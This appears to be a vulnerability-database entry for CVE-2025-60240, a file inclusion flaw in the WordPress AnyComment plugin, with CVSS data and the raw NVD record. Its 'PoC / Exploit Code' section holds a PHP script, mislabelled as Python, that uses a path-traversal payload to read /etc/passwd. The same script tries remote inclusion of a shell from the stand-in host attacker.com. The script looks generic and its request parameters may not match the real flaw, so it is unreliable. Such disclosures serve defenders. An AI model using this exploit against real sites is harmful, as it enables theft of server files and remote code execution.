Security Vulnerability Report
中文
CVE-2025-60240 CVSS 7.5 HIGH

CVE-2025-60240

Published: 2025-11-06 16:16:07
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Alexander AnyComment anycomment allows PHP Local File Inclusion.This issue affects AnyComment: from n/a through <= 0.3.6.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AnyComment <= 0.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60240 PoC - AnyComment Local/Remote File Inclusion * Target: WordPress AnyComment plugin <= 0.3.6 * Note: This PoC is for educational and authorized testing purposes only */ // Local File Inclusion PoC $target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; $params = array( 'action' => 'anycomment_upload', 'file' => '../../../../../../etc/passwd' // LFI payload ); echo "[*] Testing LFI on: $target_url\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url . '?' . http_build_query($params)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); if (strpos($response, 'root:') !== false) { echo "[+] LFI Successful! Sensitive data leaked.\n"; } else { echo "[-] LFI Failed or target not vulnerable.\n"; } // Remote File Inclusion PoC (requires allow_url_include=On) $rfi_payload = 'http://attacker.com/shell.txt?'; $rfi_params = array( 'action' => 'anycomment_upload', 'file' => $rfi_payload ); echo "[*] Testing RFI with payload: $rfi_payload\n"; $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_URL, $target_url . '?' . http_build_query($rfi_params)); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $response2 = curl_exec($ch2); curl_close($ch2); echo "[*] Response length: " . strlen($response2) . " bytes\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60240", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:06.613", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Alexander AnyComment anycomment allows PHP Local File Inclusion.This issue affects AnyComment: from n/a through <= 0.3.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/anycomment/vulnerability/wordpress-anycomment-plugin-0-3-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}